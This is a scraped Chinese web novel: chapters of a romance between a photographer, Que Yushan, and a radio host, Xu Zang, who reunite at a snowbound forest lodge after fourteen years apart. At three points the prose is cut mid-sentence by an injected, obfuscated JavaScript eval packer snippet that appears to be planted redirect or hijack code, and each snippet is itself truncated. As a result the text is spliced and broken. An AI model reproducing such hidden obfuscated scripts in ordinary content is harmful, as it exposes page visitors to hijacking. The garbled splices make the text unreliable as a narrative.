阙与山动作有些急躁地扯下了雪镜,一双略暗淡的眼眸紧紧地盯着相机上的画面,语气不善:“那真是不巧了,他点挺背。” “还会有机会的,不急于一时。”许藏随意回道。 阙与山一下子不吭声了,唇绷得很紧。 就在此时,藏在雪山后面的太阳慢慢地露出真容,那是很难用言语形容的壮美,观赏时只觉得胸口好似被江河之水翻涌洗涤,很长时间只剩下心旷神怡。 一时之间,谁都没有再开口说话,安静的山顶徒留相机快门的声音,时不时有枝头撑不住冻雪的动静参与伴奏。空中流云飘过,不知为哪幅场景做了点缀,整个天空几乎都被太阳染成了橙红色。 “阙与山,”许藏像是欣赏够了日出的风光,不仅扣上了镜头盖重新把相机挂回身上,声音都被太阳晒出了几分缱绻与眷恋,“原来雪山日出这么好看。” 昨夜入睡前许藏的那句话,阙与山有点恍惚十四年前自己到底有没有听到,他想要一个答案,又或许只是一个解释。 阙与山沉默了一会儿,松开相机将雪镜重新带上,转过身与许藏相望,谁都看不清对方此时眼中的情绪。 “当年你走的时候没看吗?” 这句话一下子将许藏拉回了十四年前离开的那个清晨,他起得很早,收拾完所有东西后天才刚刚亮起来。 其实许藏并没有多少东西,拢共不过不过一个背包,还装不满。他之所以起这么早,是昨晚和阙与山说要同他一起看日出。 如果看不了,一起感受日出也可以。 如果不凑巧,日出也等不到,被它的余晖照到也好。 许藏醒来至走前没有看一次阙与山,他仅仅行至破旧的窗户边,将木窗推开。 橘红的光透过浅薄的云层刚刚浸染雪山边缘,许藏就合上那扇总会出现在梦里的窗,匆匆地走了。 他背着包,挤进了残破的小型货车后面,那是能离开雪村的唯一车辆。出山的路途中,他靠在密不透风的车厢内壁上,入目之处无一寸光。 许藏以为,他能做到相隔甚远,却仍可以陪阙与山一起见证日出。 事与愿违,他下车的地方,抬头只能看见阴沉的乌云。此后,他好像很少见过阳光,无论是现实,还是梦里。 “看了,”许藏面不改色地在阙与山面前撒谎,事实上就算他的眼睛出卖了他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说完,林木深也跟着进了厨房。 厨房门开合的瞬间,露出阙与山拿着刀剁肉的粗暴画面,许藏看了一会儿收回了目光,从桌子上拿起纸条,去墙上的固定电话抓下听筒。 数字被一个个按下,听筒里传来嘟嘟嘟的等候音。 大约二十秒左右,电话那头响起一道夹杂着微弱电流音的男声。 “是许藏吗?” 是秋城广播电台深夜节目的组长。 许藏敛眉,捏着听筒,背靠在木头做的墙上,听不出语气:“是我。” “联系上你就好,我听说玉琼雪林大雪封山,为你担忧了好几日。刚刚打电话是那里的护林员接的,说你没事,实在是太好了。许藏,我知道你在休年假,也知道你调来电台后两年内几乎没怎么休息过,如果没有什么大事我本不该联系你的,可是……” 组长客气地开场寒暄了几句,才终于进入正题:“替你班的阿点,昨日出车祸了,这又到年根了,组里都忙不开,实在是没人可以替你那个时段的节目了。你看能不能先回来顶两天,过后再补年假?我一定给领导请示,过年多给你塞点红包!” 小指勾上了听筒的线,绕了几圈,将指腹勒得充血。 许藏的声音很淡:“必须吗?” “这……组里确实没你不行,而且我听护林员说,雪停后一天就可以将封山的雪清理个大概,如有必要,他可以开雪地摩托送你下山。” 组长状似为难,打起感情牌道:“许藏,你调来秋城广播电台两年,哥虽然平时严些,但是为人办事、对待属下还行,不说多么关照你吧,也算是力排众议让你单开了一档节目。就当帮哥个忙,行吗?” 许藏知道,再不同意,组长就要以工作威胁了。 他扯开嘴角,冷冷一笑,语气却拿捏得恰到好处:“好。” 答应后,许藏不想再听组长的话,找了一个理由挂了。 听筒在他手中被攥了半天,指节用力到泛白,半晌才被许藏挂了回去。 许藏将阙与山的那条素罗从角落里拽出来,坐在沙发上瞧它良久,才将其展开,覆盖到了自己的整张脸上。 10. 终末放纵 阙与山和林木深端着盘子从厨房里出来时,正看到许藏的脑袋上盖着那条素罗,仰在沙发靠背上,两人皆愣了一下。 蓦地,有爪子抓挠门的声音传来,林木深率先回过神,将东西放在桌子上,去给自家的狗土豆开门,带着它回了狗屋后,添了点吃的。 他再走回正厅的时候,阙与山在壁炉前干活,许藏还是那个姿势。 林木深不免被他们逗笑了,在围裙上擦了一把手,揶揄道:“这是准备嫁人呢?” 许藏没说话,反倒是阙与山猛地转过身瞪了他一眼,语气不善:“瞎说什么?” “不对吗?”林木深挑了一下眉,没理他,兀自转移话题,“天寒地冻,晚上野温泉的雾气大,且水深,水底有暗石。你们不要太往温泉深处去,就在边缘区域。衣服不要脱得太多,带几件换的。 “阙与山,你多看着许藏,别把人丢了。” 林木深最后一句话说得意味深长,不等阙与山反驳,便躲进了厨房继续收尾工作。 阙与山沉默地将壁炉里的食物取出来,放到桌子上,转头看向许藏:“可以吃饭了。” 许藏还是没说话,也没动,像是睡着了一般。 阙与山半信半疑地走到厚地毯上,无声地靠近沙发,直到离许藏还有一步的距离,垂在身侧的手臂倏地被抓住了。 他垂眸看去,手指修长有力,抓握时骨节分明,显得更加白皙,青色的血管在阳光的照射下非常明显。 躲在素罗之下的许藏没有睁开眼睛,却精准地抓住了阙与山的手腕,将它往素罗的边缘处拽。 他的手向上攀附,攥着阙与山的手指,确保它握紧那条素罗后,松开了自己的手,声音很懒:“阙与山,帮我掀开……” 阙与山能确定那是一条极轻的纱制品,附着上许藏的这句话后却重若千斤。 许藏一定是听到林木深刚刚调侃时说的话了,然而还是高高在上地站在主导的地位,以逗弄小孩子的心态将皮球踢给自己,冷眼旁观他的窘态,睥睨他的无所适从,当个笑话一笑了之。 他真是,一如既往地恶劣。 阙与山没有如他的愿,松开了被强塞进手中的那角素罗,轻薄的纱落下,蹭在了他颈侧及锁骨的位置。 许藏被素罗的质感弄得很痒,慢慢地睁开了那双漆黑的眼睛,湿润透光,盛着复杂不明确的意味,仰起细长的、绷出青筋的脖颈看向站在他前面的人,露出一副脆弱的伪装面孔。 阙与山的视线在那些被素罗遮盖住的、若隐若现的地方扫了一眼,微微错开视线。 “阙与山,我只是……” 许藏的话还没说完就被阙与山的掌心堵了回去,随即微微蹙眉,溢出一声闷哼,整个人被阙与山的手臂绕过腰后卷了起来,只能被迫面对面身体相贴地站在地毯上。 阙与山一只手别扭地扣住许藏的半张脸,另一只手不容置疑地按在他的腰侧,微微俯身凑在许藏的耳侧,隔着那条欲盖弥彰的素罗,喷薄的气息灼热,将素罗微微润湿。 “许藏,收起你的小心思,这里不是十四年前你恣意妄为的雪村。” 话音刚落,阙与山松开了捂住许藏口鼻的手,垂下去一段距离后,勾着素罗的边缘将它完全扯了下来,随意地丢在沙发上。 随后,他解除了对许藏的禁锢,往后退了一步,率先走到桌子旁坐下。 许藏的余光落在了那条散落的素罗上,神情微动,敛眉坐到了阙与山的斜对面。 林木深再从厨房出来时,见到两个人安安静静地吃饭,井水不犯河水,不疑有他地将食物摆到了桌子上,大大咧咧地坐下来。 他没吃两口,就停下说话:“我一会儿要去帮忙扫雪,加急清出下山的路。” 此话一出,阙与山和许藏的手俱是一顿,随后又若无其事地夹菜。 林木深没有发现这一异象,继续说着自己的工作:“雪量不少,估计晚上得在山下随便对付两口,凌晨才能回来。” “你们晚上随意。”林木深想了想今天早上的画面,再次叮嘱,“凌晨!我凌晨回来!” 阙与山放下筷子:“我不聋。” 林木深看了他一眼,将信将疑:“土豆我带走了,最近太惯着它了,它连昨晚都没回家。” 午饭吃完,林木深满院追着那只田园犬,艰难地掐住它的脖子将它塞进了皮卡的副驾驶,一脚油门朝山下慢悠悠地去了。 阙与山很自觉地将所有东西都收拾好,还勤劳地帮林木深做了点家务,随后抱着充好电的笔记本从二楼下来坐到沙发上工作。 经过饭前在许藏耳边说的那句,他到现在没开口说过话。 本以为许藏会就此收敛玩弄的心态,但貌似适得其反,他变本加厉起来。 恰如此时,阙与山正在沙发上办公,许藏自顾自地就蹭着他坐在了旁边。 甚至,许藏一双眼睁着,非常清醒地靠在了他的肩膀上,手臂也兀自环过阙与山的腰,挤到了一个对于他自己来说还算舒服的位置不动了,口中振振有词:“我有点困,抱着你睡得快。” 对于这颗又一次挤过来的柔软脑袋,阙与山额上的青筋直跳,他的手僵在笔记本上,忍着火气:“许藏,你知道我是谁吗?” “阙与山,你是阙与山。”许藏非常敷衍地回答了他的幼稚问题,厚颜无耻地闭上了眼睛,“我真的要睡了。” 许藏好像睡得极快,不一会儿呼吸变得均匀起来。 被完全当作抱枕的阙与山虽有满肚子牢骚,但不得不向睡着的人低头,不甘不愿地被许藏倚着。 一回生二回熟,有了昨日的经验,今天的阙与山适应能力翻了一倍,很快便能带着一个树袋熊般的人,投入工作之中。 雪停云散后,阳光比昨日的还要强烈一些,不过经由玻璃的折射,到了木屋内只剩下柔软的暖光,将厚重的地毯照得暖洋洋。 阳光在不经意间全部溜走,再次躲进了云层和雪山的双重遮挡下。 天暗了下去,阙与山的笔记本电量早就告急了,但许藏睡得实在是平缓,若是像昨日一样冒然起身必会吵醒他,阙与山不得已只能靠在沙发上摆弄自己的相机。 可惜许藏的睡姿长时间没变过,不然他指定能拍两张窘照。 阙与山看了几眼相机中许藏静谧熟睡的照片,将它藏在了存储卡的数据中。 再晚就会耽误泡温泉的时间,他把相机合上反到一旁,抽出一只被困住的胳膊,在许藏的身上轻轻地拍了几下。 许藏醒了,有些怔愣地睁开那双漆黑的眼,裹了一层湿润的水光,呆呆地看向前方。 突然,他哑着嗓子开口:“要去看星星吗……不对,那是昨天。我们要去泡温泉了。” 确定许藏清醒后,阙与山毫不犹豫地抽身离开,将出门泡温泉需要的东西塞进了包里,还专门找了一个封口的透明袋子用来装换下来的衣服。 许藏在沙发上怔了半天才回过神,将自己的衣服也塞进了袋子里。 穿衣服的中途,许藏偶然看见阙与山将带了两日的果木壳耳坠亲手取了下来,用小盒子装好后放到了柜子上。 他拽上羽绒服的拉链,奇怪道:“为什么取下来?” “它……”阙与山顿了一下,才淡淡地解释,“不能沾水。” 许藏似懂非懂地点点头:“沾水会开裂吧?” “嗯。”阙与山就坡下驴。 临走时,阙与山见许藏将沙发上搭的那条素罗系在了手腕上,虽然好奇但最终也没问出口。 野温泉离木屋不算近,两人在雪地摩托上骑了挺久,到的时候腿脚都有点僵。它藏在一处洼地,周围是被雾气蒸化雪后露出的几块大石,周围不远处的台面上还积着一层冻雪。 阙与山捏着手电筒在前,带着许藏从石体的中间穿了过去,像是误入了桃花源一般,野温泉的范围实在不小,更多地方被蒸腾的雾气遮挡看不清切。 两人先后走到最适合下池的地方,阙与山将平面上的雪扫到一旁,铺上防潮垫后将背包放了上去,从中取出装衣服的袋子、毛巾等东西整齐地堆叠在一旁。 阙与山将东西都收拾妥当后,把手电筒摆在适当的位置,转过身后却怔了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他们像是两只无处安家的动物,在大雪天不小心挤入了同一个小山洞,却因物种不同、语言不通,勉强称得上是见过。 那日天气还不错,虽然阴沉不见太阳,但光线充足。一早,许藏便出门了。 阙与山已经习惯了两个人入睡,一个人醒来的生活,他的手不小心撑到许藏那边,被褥泛凉,应该很早就离开了。他沉默地起床,沉默地拉着那张凹凸不平的桌子到窗边,沉默地借着外面的光写寒假作业,却没有开窗。 阙与山不喜欢光线好的日子,因为出门的人多。也不喜欢阴沉的日子,因为天也灰扑扑得,很丑。 他写作业的速度不慢,十几张卷子很快就被糟蹋个遍,脏兮兮地叠在桌角。此时,阙与山就会目不转睛地盯着手指侧面蹭上的笔墨,发呆地搓它,直到黑色淡去,红色上涌。 如往常一般的日子,却因为那扇破窗投下的阴影改变了。 阙与山后知后觉地意识到,窗外有人遮住了他的光,眉头紧蹙。 下一刻,木质窗棂被敲了两下。 阙与山很不爽,也不想理,谁知那扰人清静的人却不知疲倦地一直敲了下去。 本不该搭理这样奇怪又执着的恶作剧,但阙与山最讨厌的就是别人用噪音骚扰他。 他绷着一张脸,动作粗鲁地将那扇破旧的窗户朝里拉开,不堪重负的合页发出嗞啦难听的尖声,狂挠着阙与山的鼓膜。 所有上涌的火气在看到一只冻得通红的手掌心向上伸过来时,莫名其妙地烟消云散。 外面的雪还在下,很快便洋洋洒洒地落了手心中央的那颗很漂亮的糖果上。 阙与山并没有被一颗糖吸引到目光,他当时第一反应是,这人的手真稳,在雪天里举了半天也没有颤。 他的目光便从那只手盘旋而上,落在了许藏的笑里。他想,许藏笑得真好看,比它们村子里任何一个人都好看。 许藏像是引诱一只小狗,从发出声音、吸引目光到施舍糖果、温柔一笑,直到现在阙与山看过来,他才一步步地收网。 “小狗,专给你的糖。” 11. 是否放手 阙与山被这位从山外来的旅人迷惑到了,半个身子探出窗来,腹部压在难以承重的窗台上,伸手去拿那颗绚烂的糖。 可是,许藏后退了,他是一位合格的猎人,想将猎物诱出赖以生存的巢穴。 他居心叵测地看着探出窗来的阙与山,语气好像很为难:“看来距离不太够,想要的话,就出来吧。” 大片的雪还在飘,在许藏的头发上、衣服上积攒了一层霜白。 阙与山只犹豫了一秒,便利索地翻窗而出,跳到许藏的旁边,抢过了那颗诱饵塞进了薄薄的口袋。他的手在口袋外面拍了拍,将那颗糖的轮廓显现出来。 他还是不喜欢今天的天气,但是愿意为了眼前的猎人寻找聊表心意的东西,只留下了一句“你等我”,便朝着深山而去。 阙与山在雪山里挑挑拣拣,最后带回了一束很普遍的小白花。 花瓣因为被握在手里太久,残缺了一片,皱巴巴得,很丑,被他送给了许藏。 然而,雪天的花又能长存多久,不过半日便蔫得没法看了,奄奄一息地瘫在窗台上。 尽管许藏不时劝慰,但在屋里时,阙与山总是忍不住长时间地朝着窗台望去,等到小白花被雪淹没,再将雪扒开它抓出来,如此反复。 阙与山已经想不起来自己当时是什么心理,只觉得就算丑陋、就算残缺、就算枯败,也应该让许藏再瞧上一会儿,哪怕只有半天。 天知道他在大雪纷飞的山上,找到一株坚韧不倒、不被寒冷侵蚀的花有多难,它应是努力地生存、顽强地开花,被他无情地摘下,送给温暖的许藏。 如果在那时,他就能摘下像又一春那样明艳的颜色,或许……许藏就会懂了吧。 但无论如何,那样与雪同色的花,始终都会被雪淹没。就像从小在雪村长大的他,始终都会在许藏的心里被雪淹没。 时至今日,阙与山送出的那条素罗,与当年的白花好像并无两样。 面对许藏递过来的素罗,阙与山一下子就失去了用它的兴趣,摆了摆手后转过身趴在了温泉边的防潮垫上。 许藏不懂,为什么仅仅一瞬间,阙与山的情绪便萎靡了下去。 “不会系头发?”他试探地问了一句,捏着素罗朝阙与山走了几步。 因为姿势原因,许藏不得不站在阙与山的侧后方,两条腿微微分开卡住他的腿侧,腹部慢慢地贴上他的侧腰,俯下身去触碰他的头发。 他湿润的手指带着热意嵌入阙与山的发丝中,感受到身下的紧绷、肌肉的鼓起,顿了一下后熟练地用素罗把阙与山的头发都束在了脑后。 阙与山感受到头发上的那双手退去后,慢慢地直起身和许藏错开身位,在自己光洁的额头上摸了摸,转过身看向许藏,一双被蒸得眸色偏深的灰蓝色眼睛直直地锁着他。 但他口中说出的话好似漫不经心:“你很熟练?” 许藏想了想,如实回答道:“之前隔壁的小孩教过我几次。” “隔壁的小孩?”阙与山的眼睛眯了一下,语调沉了下去,不在意地继续追问,“小女孩?” 许藏摇了摇头,平淡地解释:“是个留长发的小男孩。我闲时跟他学了几次,今天第一次尝试,效果还不错。” “哦。”阙与山的语气听不出来情绪。 温泉水很热,将人泡得懒懒得,阙与山昨夜睡得很晚,今日又一大早起来看日出,下午持续工作,到了此时不免犯困起来,依靠在石壁上缓缓地闭上眼。 温热的蒸气、水流,安静的环境,在此时都变成了助眠的背景,虽然不舒服但浅浅地睡着了。 睡梦恍惚间,阙与山觉得自己的眼皮很痒,痒到他不得不伸手去碰。 然而手臂没举起来多少,就好似被无形的东西钳制住了腕子,挣也挣不开。 温热的痒感从眼皮慢慢移到鼻尖、脸颊、唇角,甚至整个唇面。 那触感,像是暖化了的雪,干燥中夹杂着雾气的湿润,最后长时间摩挲在阙与山的唇缝上。 他唯有紧闭双唇,以防被莫名奇怪的东西侵入。这一举动好似讨好到了雪,若有似无地传来两声轻笑,它没有继续深探的意思。 阙与山在梦中无意识地挣扎,却始终不能逃脱桎梏,只能任由它欺负抚弄。 最后,是许藏将他叫醒、脱离那怪异任性的雪,还说让他回木屋好好睡觉。 说是陪人来泡温泉、照看安全,却在这里睡着了。阙与山有些愧疚地上岸,快速地换完衣服后,帮忙将许藏换下的衣服塞进了袋子里。 两人骑着雪地摩托回木屋,吃了晚饭洗漱完后,再次一起躺上了那张沙发床。 许是白天过于疲倦,尽管许藏一如白天那样靠过来抱着他,阙与山还是僵着身体很快睡着了,且因为回忆起许藏给糖的画面,难得地做起了梦。 十四年前,许藏走后的第二天,是阙与山的十七岁生日。 在许藏未离开之前,谁都不知道雪村的雪会在哪日停下,所以许藏曾答应过阙与山,要陪他过生日。 雪村的小孩子过生日有个不成文的传统,就是要尽自己所能,在生日那天,把自己打扮得漂漂亮亮,此后一年必会平安顺遂。 阙与山从来没有正视过这个传统,却在十七岁前夕,久违地想要拾起来。他看过其他人是如何打扮自己的,无外乎是千篇一律的漂亮衣服,但他不想和他们一样,所以在大雪纷飞的山上找了好几日。 雪不好保存,花草容易枯萎,云杉的枝桠不知道怎么做…… 从许藏答应陪他过生日,他林林总总挑了有十天左右,总算找到了一把通体灰白的果木壳,壳身有一道细细的缝,内部中空,相碰起来能发出空灵悠远的声音,很适合佩戴,而正巧他的左耳有一个小时候扎的耳洞。 阙与山不能在屋里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阙与山的手还在紧紧地攥着,他举到眼前缓缓张开,除了掌心掐出来的印子再无其他。 他用手揉了揉胀痛的脑袋,却蓦地触碰到一片纱,将它拽下来后发现是那条素罗。昨夜回来时分明被取下,经过一晚上后又被许藏系在了他的头发上。 许藏不在沙发床上,阙与山强忍着悸动撑坐起来,与推门而入的林木深视线相撞。 他愣了一下,手指绞着素罗按在心口,下意识地问:“许藏呢?” “走了,还塞给我钱,太见外了。”林木深想了想送走许藏时的场景,有些感慨,“不过他走之前还回望木屋好久,那模样跟拍海报似的。” 阙与山用力捏着指节:“哦,走了。” 去找那什么之垠了。 林木深见阙与山的脸色差得可以、黑得与锅底有一拼,细想了一下觉得不太对劲,犹豫开口:“他昨天接的那通电话是工作上在催,正好封山的路清干净就走了,你不知道吗?” 原来那通电话是工作,不是姓越的,但许藏根本没和他说过自己要走。 “知道。”阙与山声音很沉地撒谎。 十四年前要走,梦里要走,他怎么会不知道? 可是,许藏走了,连电话号码都没留,他送的素罗也没带走。 12. 喜欢许藏 阙与山将那盏复古手提灯挂在了帐篷顶上,随后坐在了那块背风的大石头上。 他的目光落在不远处,又一春依旧和前几日没什么两样,茎部从厚雪中颤颤巍巍地伸展,叶子还是那几片近圆形的。 一旁支着的火堆上面架着口锅,里面是阙与山盛的净雪,慢慢地化开后冒出白色的烟。 防潮垫上堆着很高一摞当作干柴的树枝,他伸手从其中抓了一根,扔进了火堆里,立马发出噼里啪啦的燃烧声,将这片昏暗的雪窝照得一闪一闪。 明明周围的冻雪、云杉、天空乃至星辰都与前夜许藏来时并无不同,阙与山今天来时,一眼望去,还是觉得大相径庭。 甚至林木深也和平日截然不同,今早告诉他许藏走了后,竟会满脸担忧地拉着他闲扯,生怕他想不开,学着恋爱剧里去跳崖。 阙与山却觉得林木深不过是大惊小怪,他从来都没有妄想过,许藏会为了他留下来。 人各有志,许藏不会蜗居到与世隔绝的地方太久,十四年前不会,现在更不会了。 于是,他早上起床后,便已经适应了许藏离开的事实,收拾好趴雪窝的东西就往又一春这里来。 眼瞧他要出门,林木深左一句又一春还没开,右一句我送你吧,回屋刚抓了钥匙,再出来时阙与山已经不见人影了,只能恨铁不成钢地站在木屋前骂人。 阙与山是到目的地后,才意识到自己带的备用相机,正是前几日暂借给许藏的那台小巧的、用来拍摄日常的相机。好在备用电池多带了一块,才不至于他狼狈地重回木屋。 它是阙与山拥有的第一台相机。十八岁的阙与山成绩斐然,考上了重点学府秋城大学,因此领到了一笔奖金,他用这笔钱买了这台相机,开启了他的摄影之旅。 一开始只想记录日常美好的景象,不久便有了做摄影师的想法。只是作为学生,阙与山的资金到底有限,重金买下的这台相机参数并不支持他拍下更精美的照片。因此,他攒钱换了更高规格的设备,也渐渐搁置了这台日常拍摄的相机。 雪后的天边有一颗流星划过,阙与山的余光瞥见后,从又一春上收回了视线。 他走进了帐篷,从背包中拿出了那台小巧的、许藏用过的相机,重新坐到那块大石头上后,开机挪动、镜头对准天空、按下快门。 蓦地,相机挑出警告图标——未识别到存储卡。 阙与山很明显地愣了一下,随后将相机挪开,从侧面挑开盖子,借着火光发现卡槽内空空如也。 存储卡丢了。 阙与山盖好卡槽的盖子后,脑子放空开始回想这台相机几日来的经历。 许藏在杂物间拿到它时,还用它给他拍了照片。那张照片阙与山亲眼见过,所以那时存储卡还在。 后来无论是出门看星星、看日出,许藏与相机几乎形影不离。尤其是昨夜,阙与山还疑惑为什么许藏泡温泉也要带着这台相机。 许藏在时,这台相机的存储卡应该没有丢,因为他没和阙与山说相机不能拍照。 那就是,阙与山今日带它出门后,不知何时何地磕开了相机侧面的盖子,卡槽里的存储卡就这么滑出来后丢了。 手里的这台相机已经算是十几年的老家伙了,与之匹配的存储卡只怕难找,如果下山后托人还找不到的话,它只能变成时代的眼泪。 说得难听点,一块废铁。 阙与山暂时还不想随意抛弃自己人生中的第一台相机,索性将它放回了背包里,又从中拿出缠耳机线的收音机。 说来也巧,收音机纯属是他人生中的意外之物。五年前,他来到玉琼雪林拍摄寒夜光柱,被林木深拖回去后,在他那与传统无线电结识。 单调朴素的拍摄生活,偶然被无线电中的一档广播节目润色。 下山后,阙与山就买了一个无线电带在身边。只是他去往拍摄的地方大多偏远,不是信号塔坏了难以修缮,就是天气不好收听不到节目。且他居无定所,每每到新地方,就要为了那档节目调好久的频道。 后来,阙与山索性换了一台卫星收音机,比传统无线电稳定多了,音质不错,还可以插耳机,不用担心听不见人声。 锅里的雪水沸腾了起来,阙与山从一旁的袋子里拿出林木深做的浓缩汤冻,顺着边扔进去后,又抓出一个纸包,几下掀开后将里面切好的熟肉一起放进锅里。 他又在锅上支了一双筷子,将干饼放在其上,用水蒸气加热。 阙与山又添了柴火,坐回了大石头上。等待的过程中,他解开绕着的耳机线塞进耳朵里,打开了收音机。 他经常收听的那档广播节目还没有开始,耳机里响起极其吵闹的广告声,不知是两三个还是一群人的声音混杂在震耳的音乐中,不由得让阙与山的眉头一皱,调低了声音。 那档广播节目的主持人休假了很久,从阙与山上玉琼雪林开始,就没有再听过。 不知今日,主持人会不会回归,陪伴他度过难熬的夜晚。 阙与山摘了一只耳机,搬着小马扎坐到了火堆前面,收音机放到大腿根,用汤勺在锅里搅了搅。 很快,锅里的肉汤重新咕嘟冒泡,他拿起热好的干饼,吃起简单的一顿晚饭。 耳机中传来一阵悠扬缓慢的音乐,是这个时段的广播节目要开始的预告。 阙与山咬干饼的动作一顿,他伸手将收音机的音量调高,把掉落的耳机塞进耳朵。音乐一下子环绕在他的脑袋里,心脏不由得跟着声音加速,他若无其事地继续吃饭。 “听众朋友们,晚上好。”那道清冽的声音有点小,主持人停了一下,手动将音量提高到舒适的范围,“好久不见,我将继续用故事陪伴你度过漫漫长夜。 “今晚,我会讲一个全新的故事,期待你的聆听。” 熟悉的声音隔着收音机和耳机而来,阙与山心中的石头落了地。他在今晚打开收音机,赌对了主持人会在今晚继续播出那档广播节目。 主持人习惯用第一人称来讲他的故事:“我在街边经营一家店铺,收入不多,但还算宽裕。三个月前,我的丈夫说家里的老人去世了,他要回一趟老家做白事。丈夫的老家是大山里的穷荒村庄,据说那里的田地贫瘠,种不出粮食也没有水源,是个地图上都不会记录的地方。为表心意,我拿出家里的一部分积蓄包了一个信封给他,可是三个月了,他还是没有回来。 “眼看着日子越来越晚,我等得非常焦急,家里的生意也做不下去。犹豫再三,我最终决定关了家里的店铺,带着钱踏上寻找丈夫的路。” 听到这里,阙与山骤然愣住了。原因无他,这个故事与前夜许藏坐在那块大石头上讲的开头一般无二。 此时此刻,相隔千里,坐在秋城广播深夜电台播音室里,讲述这档节目、这个故事的主持人,也正是许藏。 许藏的声音夹杂着微弱的电流声,源源不断地经由收音、传输设备,导入了他的收音机,通过耳机响在阙与山的耳畔。 一如五年前,阙与山正是在林木深的无线电中偶然听到了许藏的节目,愣了很久才敢认出那声音是许藏。无非是因为时间太久远了,久远到记忆会褪色、失声。 比起遥远的十六岁、稚嫩的嗓音,这么多年来,阙与山听到许藏最多的,就是夹杂着各种强弱不同电流声的恐怖故事。 所以在雪村分别十四年后的秋城广播大楼,听到许藏那句近在咫尺的“有事”,他会觉得突兀和失真。 而今,不过是听了几日许藏的真声,再带上耳机时,阙与山只觉得电流声格外刺耳。 五年的习惯,不到五日就被许藏彻底粉碎。就像雪村那个独来独往的孤僻少年,不过一个多月,就被在心中根植下名为“许藏”的种子。 种子发芽、生苗、抽条,不断伸展枝桠,汲取血液、冲破皮肤、碾碎喉咙,却始终没能开花。 阙与山在又一春这里蹲守了三日,又一春依然没有开花,他却借由收音机终于听完了节目里的整个故事——一个结局截然不同的故事。 女子不顾他人劝阻,毅然决然要进入大山中寻找丈夫。她找了很多天,粮食和水都吃完了,最后在一棵枯树前看到写有“树下埋酒”的木牌。女子欣喜若狂,刨开了土,捞出了一个罐子,却发现里面是骨灰。 罐子被吓坏了的女子丢在地上,碎了,里面掉出一张纸条,写的是女子的名字。她怕极了想要逃,却发现根本逃不离骨灰的周围。原来女子的丈夫为了长生的私欲,不惜对相濡以沫的妻子痛下杀手,只是女子的魂在慌忙间丢了,丈夫用她的骨灰设局钓她而来,重新将女子的魂塞进给自己续命的阵法中,让女子魂飞魄散、永世不得超生。 听到这个结局时,阙与山迎着雪林的日出愣了很久,耳机中早已没有许藏的声音,切换成了晨间新闻。 他想不明白,为什么许藏会单给他讲一个美好的重逢结局、无拘无束的未来。 不过,阙与山突然顿悟,努力地抓住了一点蛛丝马迹。 那就是,不知不觉中,他好像再也不能,拥有完美的故事、受到许藏的独特待遇了。 许藏不会停止脚步,阙与山亦不会。 因此,他十多年前拼命走出了雪村,走到了秋城大学。 这次亦然,阙与山要下山,要去秋城。 当年的许藏杳无音讯、遍寻无人,如今的许藏就在秋城广播大楼,就在那里两年了,他又有什么理由、什么别扭、什么怯懦。 冲动来得很快很凶猛,阙与山几乎是想到的一瞬间,就收拾东西回了木屋。 上次秋城广播大楼邀约时的号码他还记得,将数字一个个按好,攥着听筒倚在墙边等待接通时,阙与山突然意识到,自己好像没有想好再去秋城广播大楼的正当理由。 然而就在此时,电话接通了,是上次那个接线员。 女生听到是阙与山打来的电话后,瞬间兴奋起来:“阙老师您百忙之中打电话来,肯定是想问采访播出后的反响吧?” 阙与山顺着台阶就下:“是,不知怎么样?” “特别好!自您荣获国内外大奖后,很多粉丝都是奔着您的才华来的。这次采访播出后,您的帅气也斩获了不少摄影圈外的粉丝!” 女生的话听起来比阙与山本人还高兴:“您的不少粉丝给电视台打电话写信,强烈请求您能再次莅临。我们这边也拟了一份邀请信寄到了您的家中,正好您打电话来,我想和您在电话里商讨一下,关于邀请您再次来电视台做一次采访的事情。这次的采访不会像上次一样正式死板,可能会涉及您个人生活的问题,还会在采访现场与观众连线,不知您意下如何?” 这可真是瞌睡来了送枕头,阙与山正愁没有正当理由,就再次来了采访邀约。 他同意了,并和对方定下了第二天早上九点的时间。 虽说请神容易送神难,阙与山来时林木深极其嫌弃,但是他走的时候,林木深却面露几分不舍。 阙与山也能理解,毕竟在玉琼雪林当护林员,和在深山老庙里念经没什么区别。 他坐在皮卡副驾驶听林木深唠叨的时候,还不忘嘱咐:“帮我盯着点又一春,有开花迹象立马找我。” “找你?我上哪找你?”林木深立马收起了不舍,“我给你发又一春时,都得等您的大驾不知何时回家,闲下来挑出那么一两封信批阅时,才能获得您的主动联系。 “不是我说,你也该备一个手机了,不然想找人要号码都没法开口。” 林木深从后视镜中看到阙与山那副没心没肺、满不在乎的模样,眯了眯眼,将话挑破了说:“说的就是你阙与山,你没有手机,上哪要人家许藏的电话号码?人家许藏又凭什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“阙与山老师您好!我从您的那副作品《可怜星俱灭》开始就喜欢您了!”第一个观众是位女生,激动得声音有些颤,“我身边的同学都是您的粉丝,她们让我向你表达,阙老师您只管拍更好看的照片,我们会永远支持您的!我们都向你寄过手写信,希望您能幸福。” “还有就是,我们想问阙老师一个问题。您的眼睛好好看,是天生的吗?” “非常感谢你们的喜欢,我也很荣幸能被你们喜欢。寄到我家里的手写信我都会看,也会特别珍藏。 “关于我的眼睛,”阙与山笑了一下,歪了歪头,“并不是天生的。我小时候生过一场病,它使得我的眸色浅化成了浅灰蓝色,即使病好也不可扭转。而大家现在看到的我的眼睛,是已经沉积近二十年的颜色。” 